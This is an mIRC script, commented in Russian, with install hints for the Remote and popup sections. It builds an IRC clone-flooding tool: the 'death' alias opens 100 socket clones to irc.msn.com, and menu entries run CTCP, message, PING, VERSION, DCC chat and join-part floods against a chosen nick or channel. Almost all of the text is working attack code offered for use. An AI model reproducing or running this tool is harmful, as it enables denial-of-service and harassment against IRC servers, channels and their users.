=====>>>Это вставляеться в модули (Remote), куда нить в саамый низ<<<<<=====
 
alias pc { sockwrite -n clone* part # }

alias jc { sockwrite -n clone* join # }

alias ncf {

sockwrite -n clone* nick [SuB] $+ $r(11,99) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(11,99) $+ [Zer0]

}

alias death {

set %CServer irc.msn.com

set %Ccount 100

set %Cport 6667

clone %ccount %cserver %cport

}

alias clone {

if ($1 == $null) { echo 15 -a * /clone: type /rhelp to find out the commands | return }

if ($window(@clone) == $null) { window -e @clone 100 400 500 300 @clone | titlebar @clone (rebellion)(clonestatus) | /aline @clone %ver Right hand Click for Clone Options | /inc %ccount | /clonewindow }

unset %c.server %c.port %ccount

if ($1 isnum) { %c.count = $1 | %c.server = $2 | %c.port = $3 }

else { %c.count = 1 | %c.server = $1 | %c.port = $2 }

%c.inc = 0 | :start | inc %c.inc | if (%c.inc > %c.count) { return } | %c.sock = clone $+ $r(1,9999)

:loop | if ($sock(%c.sock).name) { %c.sock = clone $+ $r(1,9999) | goto loop }

if (%c.port) { sockopen %c.sock %c.server %c.port }

else { %c.port = 6667 | sockopen %c.sock %c.server 6667 }

goto start

}

on 1:CLOSE:@clone:/unset %ccount | /c.echo Don't Forget to use This machine later...

menu @clone {

Клоны

.CTCP FLOOD:/ctcpflood1 $$?="Ник/Канал для флуда" | /rline @cloners 4 3Статус клонов - CTCP flooding $!

.MSG FLOOD:/msgflood1 $$?="Ник/Канал для флуда" | /rline @cloners 4 3Статус клонов - Msg Flooding $!

.KOMBO FLOOD!:/komboflood1 $$?="nick/chan to flood:" | /rline @cloners 4 3Статус клонов - KOMBO flooding $!

.Dcc Chat Flood!:/chattest $$?="nick/chan to flood:" | /rline @cloners 4 3Статус клонов - DCC chat flooding $!

Управление

.Зайти на канал:/sockwrite -n clone* join $$?="На какой канал?" 

.Покинуть канал:/sockwrite -n clone* part $$?="Какой канал?"

.Убить клонов:/unset %ccount | /sockwrite -n clone* quit WWW.IRCOWN.NAROD.RU

} 

alias clonewindow {

window -a @Cloners 200 5 270 170 @cloners

aline @Cloners 3FacE ControL CloneS

aline @Cloners 10=-=-=-=-=-=-=-=-=-=-=-=-=-

aline @Cloners 3Клонов загружено - %ccount

aline @Cloners 3Статус клонов - (idle)

aline @Cloners 10=-=-=-=-=-=-=-=-=-=-=-=-=-

aline @Cloners 3Клоны готовы :)

}

on 1:sockopen:clone*: {

inc %ccount | /rline @cloners 3 3Загружено - %ccount 

/rline @cloners 5 3Загружено клонов

aline -h @clone $sockname connected to %c.server ( $+ %c.port $+ ) 

sockwrite -n $sockname user FC FC FC FC

sockwrite -n $sockname nick [st]-[ $+ $rand(1,1000) $+ ]

}

on 1:sockclose:clone*: { aline -h @clone $sockname disconnected | dec %ccount | /rline @cloners 4 3Cтатус клонов - $sockname disconnected | /rline @cloners 3 3Загружено - %ccount }

on 1:sockread:clone*:{

if ($sockerr > 0) { return }

:loop | sockread %tmp

if ($sockbr == 0) { return } 

if ($gettok(%tmp,1,32) == ping) { sockwrite -n $sockname PONG $gettok(%tmp,2-,32) }

goto loop

}

=====>>>  А это в поп ап меню <<<=========

Клоны

.Загрузить:death

.Зайти сюда:sockwrite -n clone* join $chan

.Выйти:sockwrite -n clone* part $chan

.Флуд сообщениями:.timer999 5 2 sockwrite -n clone* privmsg $chan $$?="EnteR MsG"

.Пинг флуд:.timer300 10 3 sockwrite -n clone* privmsg $chan : $+ $chr(1) $+ PING $+ $chr(1)

.Версия флуд:.timer300 10 3 sockwrite -n clone* privmsg $chan : $+ $chr(1) $+ VERSION $+ $chr(1)

.Джойн-парт флуд:{

.timer300 4 1 sockwrite -n clone* part # 

.timer400 4 1 sockwrite -n clone* join # 

}